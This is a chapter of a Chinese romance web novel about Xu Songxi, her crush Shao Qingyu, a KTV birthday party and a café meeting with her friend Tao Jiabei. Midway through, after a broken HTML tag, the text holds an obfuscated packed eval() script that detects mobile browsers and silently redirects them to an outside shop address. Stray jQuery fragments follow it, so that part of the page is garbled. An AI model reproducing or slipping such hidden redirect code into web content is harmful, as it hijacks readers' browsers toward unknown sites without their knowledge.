“贵宾你好,贵宾请进。”先前说话的男生冲许松溪做了个非常标准的迎宾的动作。
松溪记不得他是谁,但对方既然对自己有印象,想来是见过她和小姨一起去学校找周行止的,她道:“谢谢。”
想起周行止,后者的目光便追究了过来。
松溪莫名有种被抓包的心虚感,挨着他坐下,叫了声:“哥哥。”
周行止问:“跟家里报备过吗?”
松溪道:“说过的。”
周行止没再说什么。
倒是一旁的热心群众发起了声:“行止,这我可就要说你了,不要效仿古板老道的大家长做派,虽然你的确是这样。人家好不容易出来玩一趟,又没做坏事,是不是?”
即便不是什么值得害羞的话,但面对陌生人围拢过来的目光,松溪还是有些拘谨,尴尬地牵牵嘴角无声回应。
说话的人眨巴眨巴眼睛,话锋拐了个大大的弯:“但是话又说回来,这要是我妹,我也想藏起来,不让出门。”
周行止眉头一蹙。
邵清喻轻描淡写地将人拂开,坐到了松溪旁边,杜绝了再有人过来的可能:“别逗她。”
松溪如释重负地松了口气,感觉到审视般的眼神,寻过去。
是那天强吻她表哥的女生。
刚刚松溪从别人口中听到了她的名字:曲颜。
腼腆地冲她笑了笑。
曲颜点了点头。
好高冷。
松溪得出结论,好像那晚目睹的激情画面都是自己幻想出来的一样。
那表哥是被强迫的?他那么严肃的性子也可能会遭人“迫害”?
松溪脑海里思维活跃,禁不住一会儿悄悄往曲颜的嘴唇上望一眼,再稍稍瞧一瞧周行止的唇瓣。
“偷看技术不行啊。”耳畔掠过轻飘飘的声音。
邵清喻说:“小许同学。”
松溪脸上一热,不敢再动了。
“没关系。”偏偏罪魁祸首还故意噙着笑,很好心地小声说,“看吧,我会替你保密的。”
怎么还看得下去嘛。
松溪摇了摇头,装模做样地调整了下坐姿,一副正襟危坐的样子。
邵清喻不禁莞尔。
“哎哎哎,过分了啊!”其他人不满,“嘀嘀咕咕说什么呢。拿我们当空气呀。”
“是啊学长,这不自罚三杯说不过去吧。”
“喝,必须喝!”
邵清喻认罪:“行。”
接过了递来的一杯酒,不紧不慢地一饮而尽。
眼帘下垂,喉结轻轻的滚动,乍一看有种良家少男被迫沦落风尘的既视感。
瞧着,特别想让人蹂躏。
明明也没人戏弄她什么,可松溪脸上的温度还是不自觉地升了起来,幸好灯光昏暗,为她做了掩饰。
等她反应过来的时候,邵清喻已经喝完了,在周遭的哄笑声中,不自然地摸了摸鼻子。
哄笑的人热闹了一阵,异口同声地喊起:“生日快乐!!”
松溪被带动,小声跟了一句。
生日快乐。
“玩吗?”有提议玩游戏的人邀请松溪。
松溪摆摆手:“我不太会。”
“那你看我们玩,想玩了再加入。”对方也不勉强。
松溪点了点头,静静地看着他们玩,余光不由自主地往旁边飘。
邵清喻也没参与,好像有些不胜酒力,一只胳臂搭在沙发扶手撑着头,表情比完全清醒的时候更柔和,灯光裹挟的眼睛带着些慵懒:“无聊吗?”
松溪摇了摇头,能和他待在一起已经很开心了。
邵清喻说:“等两分钟。”
“什么?”
他笑而不语,起身出了包厢。
松溪默默盘算着,两分钟一到,邵清喻准时回来了,朝她偏了偏头。
松溪根据他的暗示站起身。
听到他跟众人说:“你们继续玩,单我已经买了。”
“不是吧!这可你的主场啊。”
“才几点啊就走。”
……
控诉的声音掀了起来。
邵清喻给松溪让开了路,让她来到前面:“理解一下,我们这还有要早起上课的。”
“哎,人家行止都还没说什么。”
周行止:“我说了。”
“……”
“…………”
“啊,那啥,对!行止都说了。”
邵清喻笑了笑:“先送她回去了。”
“下次见哈。”几个人冲松溪告别。
不知道还有没有下次见,松溪轻轻点了点头。
“这群人热闹惯了,别介意。”出了KTV,嘈杂的背景音削弱,邵清喻的嗓音便格外清朗。
松溪说:“不会的。”
能参与到他的圈子里,和他平常交往的朋友同学一起玩耍,这对她来说是件很值得高兴的事情。
松溪唇角微微牵了牵。
一抬眼,发现旁边的人垂着眸正仔细端详着自己。
不禁克制住:“怎么了?”
“还好。”邵清喻道,“没被吓到。”
他说的有模有样:“吓到有他们好看的。”
松溪被他的语气逗笑了。
一撇眼,发现周行止也随着他们走了出来,曲颜紧紧地跟在他后面。
似乎在争辩什么。
“前任。”
松溪的视线顺着两个人的身影追:“嗯?”
邵清喻说:“他们的关系。”
原来是这样。
松溪点了点头,想知道那现在是什么关系,然而有个问题更快冒出来:“你呢?”
邵清喻睨她:“我?”
松溪声音越来越低:“你的前任呢?”
“想知道?”邵清喻的眼神很好品。
松溪被不敢和他对视,从喉咙里挤出了句:“嗯。”
然而邵清喻只是轻轻笑了声,并没有告诉她答案。
第二次了,和他这么不紧不慢地散着步回家。
松溪垂眼望着地面的影子。
好像比之前更鲜明了些。
有。
还是没有。
在两个答案之间反复跳跃,眼前渐渐地呈现出了小区门口的标志。
缓缓流动的喷泉溅起清透的水流。
溢出蓝紫色调的光晕。
不想那么快告别,松溪拖了会时间。
可又不可能不告别,她只好先说了再见。
邵清喻道:“再见。”
告了别。
松溪一个人走进小区,走远了些,借着雕像的遮挡,回头望了望,他还站在那里。
紧接着手机跳出消息—
[Y]:没有。
松溪的唇角一下漾起。
[徐尚尚也许还我老婆籍(待定版)]:出息,至不至于高兴成这样?
松溪一手抚摸着小松鼠机器人的小肚子,一手拿着手机。
高兴。
就是很高兴。
[小槐]:快看朋友圈!!
松溪不明所以,看到小槐的微信,打开朋友圈。
最新一条是邵清喻发的。
没有文案。
只有一张照片。
是她送给他的那幅画。
.
[小槐]:姓邵的什么意思?我斥巨资给他买的礼物他为什么就不发,只发松溪姐姐的。
[小槐]:我要去控诉他偏心!
小槐气势汹汹地抱怨了一堆,松溪却是有些羞愧地控制不住总想扬起的嘴角。
-喜欢的人拿你送的礼物发朋友圈是什么意思?
HFL-233:这是一个非常积极的信号!恭喜你松溪。
松溪眼睛一亮。
HFL-233:但这并不意味着TA也喜欢你哦。
松溪:“……”
-下次说话请不要大喘气好嘛?
HFL-233:好的。
HFL-233:检测到你可能正在因为喜欢一个人而苦恼,需要让我帮你做确切的分析吗?
松溪犹犹豫豫,输入文字。
-如果是单独发呢?
HFL-233:“是只单独发了你送的礼物吗?”
-嗯。
HFL-233:“明白了。你喜欢的人发朋友圈只单独发了你送他的礼物,你想知道他这是什么意思?可能有以下几种原因:①正好你的礼物在旁边,于是心血来潮就发了;②你送的礼物最得他的心;③他也对你有说不清道不明的情愫……
[徐尚尚也许还我老婆籍(待定版)]:明白了。你喜欢的人发朋友圈只单独发了你送他的礼物,你想知道他这是什么意思?
[徐尚尚也许还我老婆籍(待定版)]:不是吧,我的宝宝,你现在还真依赖上这小智障……不是,小机器人啦?不过这小鼻嘎说的确实也有道理。听我的,果断选原因③,相信相信的力量,冲吧。
可是……
松溪不敢。
[徐尚尚也许还我老婆籍(待定版)]:这样,等着我去帮你鉴定鉴定。
不无道理。
松溪深以为然,开始默默计算着和她见面的日子。
圣诞节前,陶佳贝终于来了。
彼时S城天气已经转冷,凉风自空中席卷整座城市,吹出灰蒙蒙一片的寒气。
松溪和小姨一起去机场接的她,两人一碰面,裹着毛茸茸的浅蓝色毛衣的陶佳贝便抱住松溪直跳脚:“冻死了,冻死了。”
然后向蒋若仪打招呼:“阿姨好。”
“哎呀,你和松溪穿的还是同款,真漂亮。”蒋若仪夸赞了一句,安排着她们赶紧回家。
陶佳贝一点也不客气,到了松溪房间,直接往她床上一摊,拿起了小松鼠机器人摆弄:“你好,288。”
HFL-233:“你好,是233。”
陶佳贝:“好的288。”
HFL-233:“我并不知道您是怎么了。”
陶佳贝看向松溪:“我怎么感觉它在阴阳我?”
松溪觉得有些幼稚。
陶佳贝捋了捋小机器人的脑袋:“你这个小东西还挺聪明。”
HFL-233:“哈哈,被你发现了!不过我可是个“大”语言模型,肚子里装着超多知识呢~有什么想聊想问的尽管丢过来哦,我随时待命!”
“这是又吞了几个D老师呀。”陶佳贝说,“你的crush发明这小玩意还挺好玩。这次一定得让我见识见识本尊线下是什么样的。”
松溪问:“要怎么说?”
“嗯……拿我当借口,把他约出来见面呀,如果能让我顺便见见我们家尚尚那就更好了!!”
松溪瞧着她眼中快要冒出的星星,往旁边缩了缩,给邵清喻发信息。
[Zzz]:你好。
[Y]:你好。
陶佳贝伸长了脖子往她手机上看,啧啧摇头。
松溪有些发窘,她也觉得自己每次的开场白显得有些人机,可每次邵清喻都会配合她。
心里有些发痒,松溪躲着陶佳贝继续打字。
[Zzz]:可以带我朋友去一下录音棚吗?
那边停顿的时间拉长了些,然后给出了准话。
[Y]:可以。
松溪高兴,一转头就见陶佳贝举着个手持镜子正对着她:“少女,请自行观赏一下你这幅春心荡漾的样子。”
松溪都没往镜子里望:“佳佳。”
陶佳贝含情脉脉:“怎么了宝宝。”
松溪:“……”
松溪说:“徐尚也在。”
陶佳贝顿了一秒,兴奋的满屋子窜:“啊啊啊啊啊啊啊啊啊啊啊啊啊啊。”
松溪被她带动,眉梢眼角也攀上不少笑意。
没有耽误时间,两人连冷好像都感觉不到了,果断出发。
有一瞬间,走在S城的街道上,松溪有种陶佳贝比自己还要熟悉这里的感觉。
有她在应该稳多了。
松溪暗暗的想。
邵清喻和徐尚本就在录音棚,所以一到目的地,双方便碰上了面。
松溪唇瓣微启,准备介绍,却见陶佳贝猛地倒吸一口冷气,然后扭头走了。
松溪把她拉了回来。
“这么帅!!”陶佳贝激动道,“真人比镜头里还好看啊啊啊啊!我懂你了,我的溪。”
松溪生怕被听到,捏着嗓子提醒:“小……点声。”
“ok,ok,淡定,我懂。”陶佳贝做出一副成熟稳重的做派,被松溪扯回去。
邵清喻好整以暇地倚在门边瞧着两人,若无其事地扯唇先打了招呼:“你好。”
陶佳贝结巴道:“你你你你好,我是松溪的朋友。”
话音刚落,眼前多了个化成灰也认识的人。
徐尚!!!!
她再一次倒吸一口气,扭头走了。
松溪的目光同邵清喻的对上,觉察到了他眼底细微的戏谑,有些尴尬地牵牵嘴角,又一次追上陶佳贝,把她拽了回来。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17837227|211491||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
“宝宝,那是徐尚!我老公徐尚!!”陶佳贝声音都劈叉了。
松溪嗓子比刚刚压得更低,面红耳赤:“佳佳。”
陶佳贝信誓旦旦地保证:“你放心,这次我一定不会再搞砸了。”
她火速变脸,以从容不迫,严肃沉稳、淡定自如的态度开口:“你好,老公,我是徐尚。”
“……”
“不是,你好,徐尚,我是老婆。”
“不是不是。”
整段垮掉。
安静温馨的咖啡厅。
四个人两两面对面而坐。
陶佳贝脸整个涨成了猪肝色,恍若经历了世界末日般垂着脑袋,从头到脚写满了挫败。
抬头同徐尚相视,两个人挤出了如出一辙的,尴尬又客气的微笑。
呵呵。
呵呵。
呵呵呵。
呵呵呵呵。
更尴尬了。
松溪也很局促,这样的场合按道理应该想办法缓解气氛才对,于是她把求助的目光转向了邵清喻。
邵清喻朝她使了个眼神。
松溪了然般跟着他,默默退出了咖啡厅。
这个季节,室内和室外的温差非常明显。
松溪换了口气,手中被塞进了一杯热可可。
手上暖暖的,心里也暖暖的,松溪说了声谢谢,透过透明的窗户观察着陶佳贝和徐尚所在的位置。
“担心你朋友?”
松溪诚实地点了点头。
“给他们点时间。”邵清喻说,“他们自己可以处理的。”
松溪大概明白了他的意思,感觉阵阵袭来的风忽然不见了,仔细一瞧,才发现,原来是他挡在了身后。
这个瞬间似乎猝然变得神圣起来。
松溪抿了一口热可可,醇厚的焦香丝滑地从口腔流窜,她陷入短暂的思索,目光飘远,再聚焦的瞬间,定向落地窗。
一下撞进了他透过窗睨向她的含笑的眼睛。
连忙避开。
好像应该是要说话的。
说点什么好呢?
松溪控制住自己不去同他对视,悄悄盘算着。
忽地听到喧闹。
陶佳贝站在收银台前,好像跟人起了争执。
松溪也顾不上羞涩了,看了眼邵清喻,不等回答,先赶了过去:“我去看看。”
临近了才听到争论的原因,是陶佳贝去前台借纸笔,不小心被一个人撞了,对方非但不道歉,还倒打一耙,不依不饶,说话极其难听,用词脏到不行。
“你这样。”松溪一下冲过去,把陶佳贝拉到了身后,像个护崽的母鸡,义正言辞,“是不是有点过分。”
“……”陶佳贝默了默,“你还是站我身后吧。”
松溪小脸通红,无地自容,退了下去。
邵清喻眼底划过轻笑,制止了想要上前理论的陶佳贝,将两个人都护到了后面,也没有和对方疾言厉色,平静地问:“需要报警吗?”
对方骂道:“老子不需要。”
“不是在问你。”邵清喻转头望向陶佳贝和松溪。
陶佳贝毫不犹豫,挽住松溪的胳膊:“报!”
“谢谢。”看着没礼貌的人被教训一顿,不管对方是不是真心实意的道了歉,陶佳贝还是觉得心情好了不少,对邵清喻表示感激。
瞧着不知什么时候靠近,却一句话也没说的徐尚:“你是来帮我的吗?”
徐尚别扭的“嗯”了一声:“抱歉。”
“这有什么好抱歉的,又不是你的错。”陶佳贝听出了他是在为没帮上忙而愧疚,急忙安慰,对于自家“老公”的关心简直开心不已,附在松溪耳边,“你男人已经成功过了闺蜜这一关了。”
松溪拐了她一下,示意她别说了。
邵清喻正看着呢。
“邵……”陶佳贝想起来自己的任务。
松溪生怕她再来点什么,伸手捂住了她的嘴。
陶佳贝眨眨眼。
松溪咬了咬唇瓣。
两个人眼神交换了半天,陶佳贝像是明白了她的意思,扯下了她的手,十分造作的来了一句:“哎呀,我们溪溪真是太完美了,谁要是喜欢上她,简直是上下八百辈子修来的福气哦。”
松溪:“……”
赶紧把她借来的纸笔塞到她手里:“别胡说了。”
她都听到邵清喻独特的笑声了。
陶佳贝老实地抱着纸笔写保证书,保证以后再也不对着徐尚随便乱叫了——虽然并没有人要求她这么做,但她非要向徐尚表明决心。
松溪坐在她身旁,视线一点不敢往对面的邵清喻身上投。
忍了一分钟。
五分钟。
八分钟。
控制不住望过去的刹那,他正在觑着她。
逮了个正着。
松溪握紧了手中的热可可。
邵清喻朝她勾了勾手。
松溪不解地把手递给她,随之感觉到手背上泛起点点痒意。
邵清喻拿起陶佳贝借过来的笔,动作极轻地在她手背上画了一个可爱的竖起大拇指的标志:“小英雄勋章。”
.
“给,小英雄勋章。”陶佳贝抱着松溪的腰,以做作的口吻捏起了她的手。
松溪脸皮薄:“佳佳!”
陶佳贝笑得很欢:“我看你干脆连手都别洗了,拿个保鲜膜套起来吧。”
如果可以,松溪真的想这么做。
陶佳贝瞧着她的表情也知道她怎么想的,不过也理解了,下决心道:“这次是失误!下次我一定会好好给你助力一把的!”
不想打击她的信心,松溪点了点头。
陶佳贝满腹感慨地骚扰小松鼠机器人:“288,你帮我分析分析我成功拿下徐尚的概率有多大?”
HFL-233:“你好,我是HFL-233。”
“好的233,请回答我上一个问题。”
“好的,现在为你分析,可能性为0,具体原因如下:……”
“这小玩意故意报复呢吧。”陶佳贝不满,瞄了眼松溪,眼睛滴溜溜打转,“那许松溪和邵清喻在一起的几率有多大?”
松溪竖起了耳朵。
陶佳贝往她身上一压,把她压到软绵绵的被子里:“是100%,200%,1000%……”
陶佳贝扒她的肩膀:“是不是偷笑?是不是。”
松溪躲避着她的追击,头埋在香喷喷的枕头上,唇角轻轻牵动。
一定会成功的。
会吧?